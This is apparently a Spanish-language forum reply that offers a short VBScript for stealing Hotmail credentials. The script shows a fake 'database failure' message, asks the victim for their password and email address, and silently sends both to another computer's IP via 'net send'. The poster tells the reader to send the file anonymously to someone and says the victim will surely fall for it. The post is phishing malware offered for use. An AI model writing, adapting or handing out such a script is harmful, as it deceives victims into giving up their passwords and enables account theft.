No te preocupes Rocksrefused, con el script vbs lo puedes hacer, ay te va un ejemplo:
c=MsgBox("La base de datos de hotmail se ha averiado y perdimos tu dirección de e-mail, por favor escribe tu contraseña y tu dirección de correo electrónico para recupear tu e-mail",vbInformation,"Hotmail")
a=InputBox("Escribe tu contraseña:")
b=InputBox("Escribe tu direccion de e-mail:")
enviar = "%COMSPEC% /C %SystemRoot%\system32\net send %10.203.132.73%"
enviar = enviar & "La contraseña del individuo es: " & a & b
Set entorno = CreateObject("WScript.Shell")
entorno.Run enviar, 0, False
' En %ComputerName% poner la IP del otro ordenador
Escribe esto en el bloc de notas, guardas el archivo como hdm.vbs y envíalo de forma anónima a alguien, de seguro cae.
